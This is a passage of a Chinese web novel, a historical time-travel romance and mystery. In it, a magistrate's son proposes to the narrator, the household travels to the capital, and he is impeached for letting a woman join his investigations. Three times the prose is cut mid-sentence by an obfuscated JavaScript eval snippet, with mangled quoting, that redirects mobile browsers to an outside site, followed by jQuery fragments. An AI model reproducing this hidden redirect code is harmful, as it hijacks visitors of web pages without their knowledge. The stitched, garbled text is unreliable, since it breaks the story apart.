“那个……”小白的声音突然不合时宜的响起,他的目光在我们之间游弋,带着丝丝尴尬,“我多句嘴……是我给谢兄说,三妹妹你一向调皮,怕是担任不了宗室夫人那职能……朝臣女眷不也得时常小聚吗?看我母亲每次见府丞夫人,还得上赶着……诶,说哪了,跑题了。哦,我意思就是,你这猴儿性上来,可别给他惹下祸乱……” “不会的。”谢宁轩突然截断他的话,深深的望着我。 当下,我心中飘过一句“羽书会有分寸的”余音,不免有些担忧、失望。 出乎预料,谢宁轩接下来说的,却是——“那种虚与委蛇的场合,羽书不必去。” 小白嘴角颤了颤,又忍不住说了句:“呐,你就算是一顶一的宗室,给她挣个王妃的桂冠,也总有不得不屈膝逢迎的时候吧。三妹妹总得长大,不能一直猴性的嘛。” 谢宁轩还是牢牢望着我,闻言却道:“羽书敏锐、聪慧,本就与闺阁中将相夫教子视为己任的女子们不同。羽书,令尊可有向你提及过你名字的来历?” 怎么突然说起这个? 我茫然的看着他,小白也纳闷。 “‘传有沙场千万骑,昨日边庭羽书至’。令堂生产时,令尊与我父王正在北方战场,得到大捷军报,俱是喜悦。父王便为你取名‘羽书’,希望你一生顺遂,收到的都是好消息。” 竟然还有这段往事? 小白也没听说过,摸摸下巴:“啊,我当她只是行‘羽’字辈……” 谢宁轩没有理会他,只朝我又走近一步,眸色潺潺:“现在看来,这名字取得极妙。不似闺中女子的娇弱,给了你坚毅果敢的品格。在属于你的战场上,你从不怯懦,屡战屡胜……” “什么战场?”小白听傻了,不由插嘴。 我却懂得了谢宁轩的言外之意。 战场,他说的,也是他的战场。作为一个刑狱官,勘查听讼、清明真相,将作恶之人绳之以法,雪清白之人不白之冤,不也是不见硝烟的战场吗? 眼泪犹如倾盆而下的雨,再也控制不住。 他懂得,他竟然懂得。 “羽书,”谢宁轩伸出葱白的手指,轻轻拭去我颊边的泪,“将军百战死,马革裹尸还。你我注定是在这个战场厮杀的人,不见白头不能退,不是吗?我又怎么可能只因迎娶了你,就撕下你的盔甲,困你于闺阁中庭?” “谢宁轩,你……”我说不出来话来,酸涩的喉间,是如雷轰顶的震动。 原来他都看在眼中了,原来他都考虑在内了。 “你刚问我,什么是我想要的感情生活,我想要的婚事?羽书,”谢宁轩还没说完,他揽住我的双臂,深情地望着我,“在遇到你之前,我都没有想过,它凌乱而模糊,连个蓝本我都画不出。是你,羽书,是你让我想得清楚、想得透彻,我想要的到底是什么……是你,羽书,我想要的,是和你在一起,并肩作战的每一天啊。” “咳咳咳……”电灯泡同志又一次上线,打断了我就要喃喃而出的深情回应。 不同的是,这次电灯泡同志意识到难为情了,在大冬天夸张的扑扇着水墨折扇,眼睛都不知该往哪放了。 “那个那个,我先走了啊,看样子也不需要我调和了……我呆这干嘛呀,真是自讨没趣……关门关门……梨梨!把你做的肉饼给我拿一个,我可吃不下晚饭了!” 眼泪生生被这厮的插科打诨憋了回去。 谢宁轩亦轻笑着扫房门一眼,道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346357|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“白兄是个妙人。” “羽书,”他收回视线,旋又认真起来,“我说的都是真的,不是诓骗你,为了让你答应嫁给我的一时浑话。我知道,你总是还有担心,门第阶层、身份云泥,但这些都不是问题,你相信我,我都能解决,也必不会将你推到前面,逼你去面对。羽书,答应我……” 他微微俯了腰,更凑近了些,让我们的视线,胶着在水平线上。 “和我在一起的每天,做真实的自己。有情绪就表达,有不满就直言。我不需要你为了我隐藏自己、压抑自己,更不希望你会失去你说的‘自我’。答应我,羽书。” 我呆呆的望着他,一时竟忘了回答。 真实的自己? 有几个人能在伴侣面前坚持做自己?爱情,不就是相互妥协吗? 谢宁轩幽幽叹气:“羽书,我是说真的。我能感受到,你总是患得患失,畏首畏尾。但我们之间,我不想要任何虚与委蛇、虚情假意,亦不想要举案齐眉、相敬如宾。一潭死水,是我万万不愿踏入的啊。我更不想,把你也变成空洞、沉寂的木头美人。” 四方院落中,一个等着夫君驾临的行尸走肉?一想到这个画面,我真的感到害怕。 “可是、可是谁能真的做自己?人与人的相处,就得相互迁就啊。” “那是自然。”谢宁轩颔首,“迁就对方的喜好,让渡自己的边界,这就是相爱。但心、魂魄得是自己的。若是和我在一起,让你失了自己的喜好,战战兢兢维护着亲缘门面,我还怎么敢让你将自己交付给我,口口声声要求你相信我?我在你面前,一直展示着真实的自己,又怎么舍得委屈你?” “可……” “羽书,”谢宁轩握住我的双手,眼中泛着涓柔的光,“我不是在说大话,也不是徒劳的安慰你。是真的,我太怕看到你掩藏住自己的心。羽书,我钟意的,一直都是那个明朗聪慧、敢作敢为的你。我不要你婉言安抚、小心畏缩着。” 心底流淌出浓浓暖意,鼻尖涩如柠檬,我唯有侧侧头,掩盖的啐一句:“温柔待你不好吗?非得尖锐的逼着你才满意?” 谢宁轩歪歪头:“诶!我还就喜欢你这副鸡贼的小样子。” “讨厌!” 谢宁轩又握住我的手,眸色晶亮,语气谆谆:“羽书,答应我,做你自己。至少在我面前,你不需要隐藏。” 心中有千万只爪子在挠,又似万籁俱静中,唯有心跳是真实的存在。 我终是难耐的点了点头。 谢宁轩满足的将我拥入怀中,轻吻落在我的额间。 然而稍许后,他忽然弯了弯嘴角,露出老狐狸般得逞的笑容,侧头道:“羽书答应和我在一起,再无隔阂……那算不算,答应嫁给我了?” 羞赧包围着我。我躲开他的注目,才不要搭理这个无赖。 谢宁轩倒松弛的笑着,比吃了香油的老鼠还得意。 “羽书,”过了一会,他又徐徐解释,“我并非自行其是,未征得你的同意就贸然向你祖母提亲,实在是白兄一早告知,说你祖母为你的婚事,还备着三五候选。” “还有候选!”我心一惊,旋即想到祖母早就为二姐和老四选中的人家,也一直保密着。 “嗯,她又不舍你上京。我实在怕再耽搁下去,会让你祖母有了行动,届时我再禀告,反而令她不快。” 我听着他的话音,周身一颤:“你、你这么说,就是已经向我祖母禀告了?可你下午不是去府衙……额,你不会就是刚才去的吧!” 谢宁轩眨眨眼:“羽书,抱歉,我冒失了,还没来及知会你。从府衙出来后,我太着急了,便直接去面见了你祖母。” 我方了,迟疑而忐忑的问:“那、那我祖母,答、答应了?” 138.秘密 青朝提亲规矩之繁复,断非谢宁轩入室诚恳剖心就能替代。他说了什么我不曾追问,只知道祖母那厢,自今晚之后,态度便已一百八十度大转弯。 较之常招小白叙话,及至除夕夜前,每日亲去陪侍佛前的,变成了谢宁轩。 去的比我还殷勤。 对此小□□准吐槽:“马屁精一个,这是得了他未来岳父的精髓。” 谢宁轩也不恼,慵懒一笑后,反而问起小白的行程。 我这时才知,原来年后,小白也要上京。 “你去做什么?” “嗨,我们家航运生意,可是和京城航运行首联合的,不得常去走动联络呐?不过我动身,怎么也得开春后,不能和你们同行了。你们是过完年就走?” “嗯,”谢宁轩看看手中的最新函件,“耽搁到年后,已是极限了。好在回程走水路,会快许多。” “行啊,那我调艘船送你们,新造的,算你们便宜点。” “啊,还要收费?抠门死你算了。”我撇撇嘴。 小白没搭理我,朝谢宁轩问:“红觉寺去了吗?还了愿,菩萨的保佑就可长久喽。” 谢宁轩微笑:“嗯,昨日去了,还替老夫人上了香。” “去红觉寺?”我听糊涂了,“保佑什么?咦,你们俩不是不信佛的吗?” 小白一嗤:“还不是谢兄之前在京城摇出来个下签,偏偏他问的还是与你的姻缘,吓得他魂魄不安。” “什么,你那下签是……”我这还是第一次听说,不免也诧异。 “别担心。”谢宁轩马上说,“早在咱们下榻红觉寺那晚,小沙弥说红觉寺求姻缘是最准的,我就又求签了。这次不带着查案的目的,更有伴你一路南下的诚心,佛也看在眼里,不就赐了我上上签吗?” 说这话的时候,他上扬着嘴角,肩膀松弛,语气愉悦。 看在我眼中,却觉得不是滋味。 他可是从不信佛,笃信自我的人啊。我的反复无常,逼得他都开始相信这些无谓的安抚之语了。 见我怔怔,谢宁轩像是看穿了,轻柔的握住我的手,笑说:“别在意这些,我心悦于你,为你改变些许,亦是情愿的。喏,你瞧,这上上大吉不就让我获得了你的芳心,还求得你祖母她老人家的认可了吗?” 泪意又上涌,小白打断了我俩。 “行了!又开始了!我还在这坐着呢!” 谢宁轩轻笑一声,又摸摸我的脑袋,才颔首曰:“好,那劳白兄再陪羽书坐会儿吧,我出去写封信,赶天黑前需得寄出。” “嗯,你去吧。”小白懒懒地说,从桌上糕点盘中挑出个花生豆塞嘴里。 我盯着谢宁轩如竹背影,心里还不免嘀咕,他为我拖沓至过完年才回京,真的不会耽搁政务正事吗? “瞧你那恋恋不舍的眼神……”小白睨我一眼,“至于么,他写封信就来了!” 心思被戳破,我难为情的擦擦脸,四下找话头转移话题。 “我哪有……嗯,那个,那个……你说你上京,什么时候来着?哦,开春后?” 小白都懒得搭理我。 我搔搔头,也觉得自己找话题的技术忒拙劣了。 但就在这时,我突然想起了之前盘旋在心口的疑问,加之小白方才闲言几句,更显疑惑。 忙抓住机会打探:“你刚说调船给我们……这么说,白家的航运生意还在你手上?你们白家没分家呐?” 小白翻个白眼:“盼我点好吧。” “可秦姨娘不是说……你当日和她说的‘她失策了’,到底是什么意思呀?” 小白懒懒道:“她以为是她挑拨的我和二叔不合,想错了呗。” 见我不解,小白凑过来,神神秘秘:“这是个秘密,你能保密吗?” “当然可以!”我立即拍胸脯打包票。 小白戏谑一笑,晃着二郎腿慢悠悠道:“自从白家拓展船运行业后,我和二叔就开始演戏了。争斗,夺权,叔侄不睦。” “演戏?” “很简单啊,船运生意获利斐然,又能和官府攀上线,谁不想染指?白家自从接手后,明里暗里受到多少次算计?” “啊,所以你和令叔的矛盾,都是装的?” “人前争吵人后不睦,才能让所有人都以为白家分裂嘛。”小白懒散的靠在椅背上,淡笑着说,“一来,白家呈现出内斗的局势,能够麻痹敌人,少些手段动作;二来,敌人为了更进一步分化我和二叔,就得分开潜入,那敌对势力内部便也分化了,无法抱团,力量就会被削弱。” 哇,好心机,不愧是无奸不商的巨贾。 小白无语:“这算夸奖吗?” “呵呵,当然算啦。那我就明白了,咱们讨论那日,听到我怀疑秦姨娘的动作不止在我上京才开始,你闪烁的眉眼,其实代表着,你已经发现,二叔身侧的小妾,早就潜入你们家了,是不是?” 怪不得谢宁轩说,小白似乎对二叔的动作有所察觉;怪不得小白察觉二叔的小妾行迹诡异后,会亲自追踪到红觉寺。 怪不得小白笃定的说,幕后黑手必不在白家,也始终坚信,跟踪、监视谢宁轩的指令,那小厮古怪的行迹,也一定都和二叔无关。 “这件事只有祖母、二叔和我知道。几年演戏下来,我们身边的人也都以为我和二叔真的斗争不休,他们不明所以自然会站在各自的立场,替我们出主意。是以这么长时间,二叔都没察觉小妾私心。啧啧,这以后,还真得动动脑筋,如何才能分辨清楚了。” 小白慢悠悠的说着,像是吟唱话本,唯有眼中,疲倦的精光闪过,催的他不得不微蹙眉头。 可他明明最是风光霁月、闲云野鹤之人啊。 似是感知到了我的目光,小白不在意的摆摆手:“别这个表情啦,谁叫我承了个‘白家长子嫡孙’的名头呢?人生嘛,有所得,必有所失。不是吗?” 他想的真透彻。 接受一切、和光同尘的透彻。 “好了,别为我伤感了。还是说回你吧,听你和谢兄提那什么战场……你是打算以后遇到案件,还要参与查案吗?” 毫无疑问,我点了点头。 小白也未诧异,只嘟囔道:“失忆失的性子都变了……得,那我送你个礼物吧。” 说着,他自身后的包袱中,取出一只通体银白色的匕首,鞘上还镶着一只红宝石。 我挑了挑眉:“送我这个干嘛?” “废话嘛,咱们大青又没有女捕快,你这干的都是与恶人为敌的事儿,哪那么容易?呐,给你防身的!出了金华,我可护不住你了。谢兄虽好,总不能时时在你身侧吧。” 心下一暖,我接过匕首道了声谢。 小白端起茶杯咕嘟灌下一口,复又说:“哦,上面的红宝石也值钱,你要是哪天猴性又犯,冲撞贵人被赶出夫家大门,至少还能换点盘缠,不至于饿死嘛。” …… *** 转眼间,除夕至。 这是我穿越来第一次体验青朝的过年。虽然家中发生了不快,毕竟两个孙女婚事落定,又有京城尊贵来客小住,王宅还是将年夜的气氛烘托的极其圆满。 窗外爆竹声声,烟花一颗一颗的绽放,在青朝这毫无污染的夜色中,明亮又耀眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360906|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢宁轩的身份只在祖母跟前透了底,据说祖母乍一听,还条件反射就要拒绝,生怕我这等平民,唯能以妾室入门,受尽欺辱。 但谢宁轩的人品与修养,到底还是征服了祖母。除夕这晚,祖母亲自拉住他的手,絮叨了孙女的种种不是,请他日后定要包涵,言谈之间,这显然已是对孙女婿的说辞。 二姐笑得和婉,四妹仍旧是淡淡的模样,一切都好像没发生过,彷佛只是一场噩梦。 秦姨娘刚被关的时候,小五小六厮打着流泪着要翻墙,却被三叔亲自动了家法,关至年三十这天才被放出。 看到我的时候,小五哭唧唧扑上来,念叨自己太倒霉了,小六扭扭捏捏好一阵,才流泪扑进我的怀里。 三婶也没有再出幺蛾子,对着“凌轩”除了恭维外,便是暗戳戳请他看在我的面子上,回京后替夫君美言。 谢宁轩应下了。我本以为不过是客套,谁知他悄悄说,这段时间有私下查访三叔政绩,发觉做的还算不错,确实值得提携。 那日后,或许三叔也有迈入京城,做个京官的时候? 这就是后话了。 当下弥漫在王宅的,唯有浓郁的骨肉亲情。及至初八我们登船,达到顶峰。 我和祖母分离时的泪水涟涟,看的三叔三婶都红了眼眶。倒是也来送行的小白打圆场,直呼船大行得稳,干脆把老太太也带上京得了。 祖母泪中被逗笑,嗔得几句,才恋恋不舍得放开我的手。 送君千里终有一别。金华,就这样与我告别,在故事中暂时告一段落了。 码头身影变成了一个个小黑点,见我总算止住了泪,谢宁轩温柔得揽住我的肩头,轻声道:“羽书,别难过,我已经答应老夫人,隔年再带你南下来看望她,好吗?” 我抬抬泪眼:“你还能南下吗?京官不是不能外出吗?我、我自己回来就好。” 谢宁轩拭去凝在我下巴处的泪:“求个恩典罢了,算不得什么难事。一来一回总要数月,我哪能放心你自己回?我也舍不得呀。” “哎呀!”我难为情的转过身子,揉着眼睛。 谢宁轩轻笑一声:“好了,不哭了就行了。以后都走水路,也快着呢。” “水路回京,需要多久?” “下月初就能到。” 广袤的运河与两岸青黄不接的草地交织着,在雾气中,有如仙境。虽是冬日,偶也能遇到打渔的农家小船、荡出靡靡之音的画舫。夜晚盏盏灯烛,伴随着悠远的丝竹声,生出了宁静致远的闲适。 或许是金华案件了结,或许是谢宁轩日日都在身侧,又或许是官船自带的安全感,这段时日过的尤为松弛。 以至于多年后我再回头瞧,亦觉得这可算是穿越以来最悠闲的日子。 我将后世桌游改良成《我是细作》《青朝大富贾》《天黑躲起来》,带着垂云垂柳玩的不亦乐乎,连带着邓科和一众侍卫都加入进来,尤其老谋深算的谢宁轩,在几次“开铺子”都赔的一干二净后,更是带来欢声笑语。 谢宁轩瞄一眼堆在我面前小山似的玩票,唯有无奈的直摇头。 这样闲散的日子,终于在一个月后抵达京城码头,宣告结束。因为我从来接站的三殿下眼中,看到了些许不安。 他几乎没有怎么和谢宁轩寒暄,径直邀我前往御青王府,说结拜仪式全部准备好了,就等我前去参加。 诧异中,谢宁轩亦皱起了眉,面色严肃:“怎么了,为什么这么着急,出什么事了?” 三殿下自怀中掏出封奏折,沉沉道:“宁轩,你又被参了。这次,还实名实姓点了出义妹。” 139.女捕快 我一惊:“被参了?还有我的名字?什么意思?” 谢宁轩眯了眯眼,寒声道:“竟将羽书扯了进来,真下作!怎么,圣上不高兴了?” 三殿下颔首,直白的说:“你知道的,四年前——哦,现在得算五年前了——圣上不就让你莫要再提了吗?你公然带她查案这么多次,圣上听闻,能不生气吗?” 莫提什么?带我查案又怎么了? 参奏的内容,竟和查案有关? 我听懵了,糊里糊涂间,又莫名想起离京前郡主也提过一次,说谢宁轩被言官参奏。当日还提及他升迁,我便忘了追问参奏内容。 难道,当日参奏的,是同一件事? 我感到莫名其妙,就见三殿下和谢宁轩眼神交流数次,全然尽落在我的身上。 谢宁轩点点头,脸色不佳:“行,那现在就去。父王回来了吗?” “还没有,按照脚程,还得半月。王伯父不在也好,免得操心了。这段时间,让她住到我御青王府吧,可保周全。” “好,今晚我就入宫。” “嗯,但你毕竟还没取得恩典,还是莫要硬碰硬,圣上面前,适当伏小也不丢人嘛。” “我知道分寸,走吧。” 说着,他二人就朝前迈步,竟真的向御青王府的车队走去。 这给我整懵逼了,忙追上前问:“去哪?真去结拜啊!到底发生什么事了?怎么我还得住到王府?我爹、我爹又去哪了?你们说的硬碰硬……到底在说什么?” 三殿下扫谢宁轩一眼,啧啧一声:“真和你一个模子,追根究底。” 谢宁轩莞尔,脸色微霁,拉住了我的手。 “事涉羽书,她该知道的。问问有何不妥?走吧,先上马车,路上我与你详说。哦,至于令尊,别担心,他是伴我父王巡视直隶去了。” 原来谢宁轩在金华期间,与我爹也时有书信往来,金华的一切,他都比我更快的知会了我爹。在得知揪出了幕后黑手,又有他陪我上京,老爹便放心的伴王爷出京巡视去了。 是以,这次有本参奏谢宁轩,老爹和王爷都尚不知情。 “到底参你什么?怎么又关系到我了?” 谢宁轩扶我坐稳,三殿下放下马车帘,一面反问我:“绣花大赛、白马书院,两桩大案,你是不是都参与了?” 谢宁轩白他一眼:“什么用词啊,那叫参与破案。” 三殿下没理他,继续道:“带府衙以外的人出入刑案现场,不少人都见到了,自然有御史参他行为不谨。” 我一愣,这才后知后觉。 对哦,我怎么把这茬忘了。后世我都是凭借律师证调取卷宗,发觉端倪也需向上级汇报,谁准私下出入案发现场了?怎么到了古代,仗着府丞在身侧,就玩起了侦探小说的路数,越俎代庖了? 不过古代官员实操限度不是一向宽泛么…… 我尴尬地搔搔头:“额,抱歉啊,我给你添麻烦了。” 谢宁轩温柔的笑:“哪有?你聪慧敏锐,替我发现了多少线索,每每力挽狂澜,该我谢你才是。” “还不止一次救了姝儿。义妹,这是你的功绩,不必自谦。”三殿下也认可,“只是问题,也出在这里。谁让你是个女儿身呢?” “女儿身?女儿身怎么了?” “我朝可不准女子入仕,忘了?”三殿下叹口气,“前同覆灭固然与哀帝荒淫无道有关,末期女官把持朝政,党同伐异,亦是病灶之一。高祖登基后,便下令我朝杜绝女子入仕,代代延续至今。” 党同伐异?女官执政? 呵,去掉女官二字,历朝历代的覆灭,党争分裂、各为其主,难道还少见吗?根本症结明明是王朝末期统治阶级安于享乐,政治浑浊,与男女性别何干? 孰不见多少王朝男性专权,不也死在党争上了吗? 新王朝的建立,不想办法从制度上改革,倒缘木求鱼的将女官杜绝,好像就能釜底抽薪似的,真真可笑。 我轻嗤了一声,默默腹诽。 三殿下未知我意,仍说着:“其实宁轩查案,带的是不是衙差捕快,谁在意呢?麻烦就麻烦在,他一向不近女色,你的出现,太扎眼了。不少人看在眼里,自然有人逮住机会拍圣上马屁。” 这话听得我就不懂了。 不是说圣上一向喜爱谢宁轩吗?怎么有人趁机参他,还能算是拍圣上马屁? 三殿下一听,意外的挑挑眉,问谢宁轩:“怎么,她不知道五年前的事?” 五年前!怎么又说到五年前? 绣花大赛案中谢宁轩甩给命妇的脸子,我还历历在目。 五年前,到底发生什么事了? 这次,谢宁轩没有再隐瞒。他握住我的手,先致歉道:“羽书,其实这件事盘旋在我心口几个月了,一直在犹豫怎么和你说……嗯,你还记得,你问过我,为什么那么在意你查不查案吗?” 我点点头,想起了东橘村土地庙中他被打断的自白。 “我必须要向你坦白。”谢宁轩垂下眼睫,“其实最开始,当我发现你不同于常人的敏锐时,我想的便是,你够不够格,做一个女捕快。” “女捕……什么,大青不是没有女捕快吗?” “嗯,是没有,但我希望,能违背祖制,从无到有。” 我盯着谢宁轩熟悉的眉眼,周身一颤。 他希望有女捕快?他希望开创女子入仕的先河?为什么,这在男权社会的构建体系、教育模式下,太不寻常了呀! “因为早在五年前,我查察云锦私贩案,就意识到,女子刑狱官的重要性。” 云锦私贩案,以圣祖之孙宣王落网而告终。此案牵涉宗室之多、官员之杂,在青朝史上也排得上号。案件查察历时半年,更有多位证人遭人灭口,若非谢宁轩孤胆深入、千凿万锤,未必能查实无误,不留任何死角。 但案件查访中,他也不是全无漏洞。其中一名证人的死,就和他一时的失误有关。 “什么,你也会失误?” 谢宁轩苦笑:“我也总有思虑不全的时候,何况当日,哎……” “也不能全怪他。”三殿下接过话头,“证人被带到府衙一并保护居住,外有衙差守卫,内也安排了巡逻,头顶还有一圈弓箭手,这还不算万无一失?哪知,宣王买通了其中一位证人之妻,在替夫君送换洗衣服时,于小衣内藏了匕首,还夹在……” 三殿下顿了顿,没说出敏感词,但意思还是明了了。 此女将匕首藏于两胸之间,时衙差搜身,碍于男女之别,对隐私部位只粗粗掠过。这才纵得她潜入行凶,一刀要了夫君的命。也使得关键证人缺失,险些定不了宣王的罪。 我倏地懂了。 怪不得之后谢宁轩查案愈发严苛,面对家属时也甚少留情。贵妃醉酒案,他第一个就察觉出班主的异常;绣花大赛案,则尖锐的指出死者好友金宝鸯证词的不合理之处。 “这只是一方面。”谢宁轩摇了摇头,脸色灰暗,“问题所在,其实是捕快衙差设置的太狭隘。” “狭隘?” “嗯,其实就如宫中,嬷嬷会对秀女搜身检查,比太监更便利。这本就是人之常情,要一班老爷们衙差搜查女疑犯,束手束脚,难免就会有疏漏。既然宫中能有嬷嬷,为什么府衙中,不能有女捕快?面对女证人,女家属,无论是套取证词、安抚情绪,乃至近身抓捕,都合适的多呀。” 我惊了,看着谢宁轩的眼光都变了。 这思想太先进了吧! 谢宁轩却挪开了眼神,轻叹口气:“可惜五年前,我的奏本,被圣上驳回了。他还批评我说,不尊祖制,就是动摇国本。” 啊!所以五年前,谢宁轩是上奏要求开放女捕快的限制?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369455|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我总算明白了! 怪不得当日在绣花大赛赛场,那中年命妇见他带着我查案,就提起当年的奏本。怪不得谢宁轩一听就变了脸,连礼貌都不想维持。 “所以现在言官参你,也是因为你一意孤行,还带着女子查案?你、你仍希望、希望能打破祖制的禁锢吗?” 谢宁轩捏捏眉心,没有否认。 他旋即又执着我的手,低声道:“羽书,抱歉。我一开始接近你,动机、动机不纯了……” 不纯?什么意思? “在秋水县,我看到你冷静的自证清白,便上了心。当然,当日我也诧异于,你和我记忆中的王羽书相去甚远,故此有些刻意观察。但其实还是因为,你表现的太特殊了,那一刻,我觉得……”谢宁轩顿了顿,愈发愧疚。 “或许你能担任起女捕快的职责……这样我向圣上再次申请,也不再是纸上谈兵,而是有个切实的人选,能证明我的说辞。我、我……对不起,我、我存了私心。” 私心,是啊,这的确是私心。 秋水县,他让赵大人留我下榻,引导查案。明明和我察觉到一样的线索,却闭嘴不提,让我前去叙说。 瑶花班,在不止一个人质疑我的出现时,是他轻巧化解,仍将线索抛给我,鼓励我说出自己的推理。 绣花大赛,脱口而出“齐王府的人”,与其说是借我劝退金宝鸯,明明更似从心底认可我这个查案搭子。 还有三殿下,听到我名字时的反应,与谢宁轩眼波流转间的深意…… 一次次言语试探,一次次刻意引导。谢宁轩分明希望我在查案这条路上坚持走下去,所以他才会将之称为战场。 因为一个战士,是不可以私自叛离的。 听着我们对话的三殿下,此刻有些不安,怕是以为我要生气了。 他赶紧说:“义妹啊,你千万别误会。宁轩一开始,确实有借你再行谏言的想法。但早在江瑟楼一案,你陷在楼中,又是土匪又是火药,宁轩都急疯了,不管不顾直往楼里冲……他钟情于你,我们都看得出来。” 我看向谢宁轩,压下心口如潮涌般的起伏,颤声问:“是这样的吗?你对我的心意,可有作伪?” 谢宁轩弯了弯嘴角,梨涡隐现。他的眼中,是眷恋的深情,真挚诚恳。 不顾三殿下坐在一旁,他已脉脉直言:“我谢宁轩,对王羽书一往情深,终时日不悔,愿如天地之寿。羽书,不管之前我私心如何,当我自碉堡外看见你带着巴掌印的脸颊,当我自江瑟楼中看见倒地咳嗽的你,当我自垂湖小楼窗边执着你的衣角,我一次次看清了我的心。在这之后,若我还有半点利用你、欺骗你、玩弄你之意,就让我遭车裂之刑,声名粪土人人可唾!” 热泪盈眶。 不管未来人生数十载,我们能否执手偕老,这一刻的真心碰撞、两情相悦,就已足够。 我反握住谢宁轩的手,无声的诉说着我的喜悦。 余光中,三殿下露出了和小白相似的电灯泡表情,无措的挑起窗帘看了又看。 “咳咳……”见我二人没完没了,三殿下还是忍不住了,直接出声唤醒,“那个,义妹啊,你不生气了吧?” “生气?”我微笑道,跌宕起伏的心绪,已化成潺潺溪水,平静祥和。“我为什么要生气?” 三殿下蹙眉:“嗯?他这不是一开始想让你去当个捕快吗?我说他是异想天开呢,你都及笄了,不久后就得出阁,为了名声,也不能同意呀。何况,圣上本就不答应,就算日后能破格,不也置你于风口浪尖了吗?” “羽书,抱歉,那时我确实自私了。”谢宁轩眸中亦闪烁着愧色,“但我是真的觉得,你不似寻常女子只知料理中馈,操劳家务。你对刑案调查有兴趣,又的确有能力,若是浪费了你的才华……就像金权烧了金小姐的画作,你亦是悲痛惋惜,不是吗?” 140.宦海抽帆 我呆了,完全没料到谢宁轩竟提起此事。 他微微旋起嘴角:“我知道,羽书,我都知道的。还记得吗?我问过阳远,都发生了什么事,你为何突然变了性子?但当日我只以为你是受林霜玉提及通房之扰。直到在金华,你说起你的抱负与理想,我才倏地明白你为何会和金夫人争执,为何要保住金小姐的画作。” “你、你竟然知道……”我听到自己的声音,如叶上晨露,在风中摇荡。 “她的画作,你查案的能力……如嫁人后就得困在闺中,和束之高阁的珍宝何异?” 鼻尖再次酸涩,是心头震动如山崩。 我久困于穿越到失去平等与女子权益的古代,无人再以我的价值衡量,只会按照性别判定,我就该成为一个娘子,唯有繁衍和维系家宅安宁的作用。 但谢宁轩出现了。他一开始考究也好、试探也罢,看到的都是性别以外,我的能力与喜好。 他会愧疚,是因让充满着嫁人思想的姑娘去做女捕快,挑战世人的眼光,于姑娘而言,过于离经叛道,恐对名声不利。 他会坚持,则是爱才之心始终难以磨灭,更因刑狱官的职责与担当,驱使着他不能只因祖制限制,就罔顾查案之需。 而我需要的,不正是这份例外吗? 塌下肩膀,我朝谢宁轩弯唇,他亦会心一笑。 无需答案。他懂得我,就是答案。 三殿下目光在我和谢宁轩之间游弋,有几许不解:“这是说开了?义妹并不生气?行吧,那我就放心了。说回正事,此次奏本不同于前次,义妹姓名被写了上去,真实度拔高,我担心圣上要当真了。为防有人为坐实此事,提前对她下手,这才着急举行仪式。仪式过后,她就是我御青王府的人了,我倒要看看谁还敢打她主意。” 谢宁轩也渐渐从情丝中抽身,脸色一沉:“那些古板学究对付我就行了,参我多少不是,至少也算他们职责。现在还把羽书扯进来,不择手段!这是谁参的!” 三殿下冷声吐出:“陈尧昇。” 我愣了三愣,才想起白马书院案中那消瘦纤长的身影。 “陈尧昇?怎么会是他?”谢宁轩也很意外,眸光一闪,他冷冷问,“背后有人指使了?” 三殿下肃曰:“我和太子都这么认为,已派人监视跟踪,暂未发现幕后之人。但误打误撞,我却发现了……” “什么?” “除了我们,另有人也在监视跟踪他。”三殿下一顿,“而且宁轩,那人竟是你的弟弟,谢宁辕。” *** 御青王认义妹,仪式可真够隆重的。 别看我一下船就被匆匆拉去,礼服饰品、祭台香火,样样俱全。 郡主候在府中,一见我就迎了上来,拉住我的手团团转,喜不自胜:“你可回来了!怎么去这么久?老太太身体好了吗?” 我回握住郡主的手,看她高高束发,眉眼生动,生机勃勃,亦心情畅快。 “好了,祖母好着呢。你呢,这段时间都好?” “好着,我有什么不好的!嘿嘿,就是这段时间把我累惨了,”郡主瞥一眼自家哥哥,嗔道,“净是忙碌张罗他的婚事!” 哦对,三殿下和林霜玉的典礼还没办呢!我记得定在了今年四月? “霜玉妹妹这一向可也好?这趟南下多亏她准备的各项物件,帮了我不少忙。回头我得专程去谢谢她。” 一旁的三殿下笑着摆摆手:“她做嫂子的,帮自家妹妹张罗,何须致谢。” 郡主也点头,又凑到我耳旁嬉笑道:“她呀,现在可是待嫁小娇娘,我瞧着气色红润,饭量都大了。” 戏谑笑声在谢宁轩稍后一句“四月你完婚,阳远的事儿也得提上日程了吧?”戛然。 郡主不快的扁扁嘴,嘟囔道:“真烦,提起这事我就头大。太后前个儿招我用膳时还提了。” 三殿下道:“不该提吗?你也这岁数了,她老人家也是为你着想。” “可她提了几个人选……”郡主跺跺脚,一脸的不情愿。 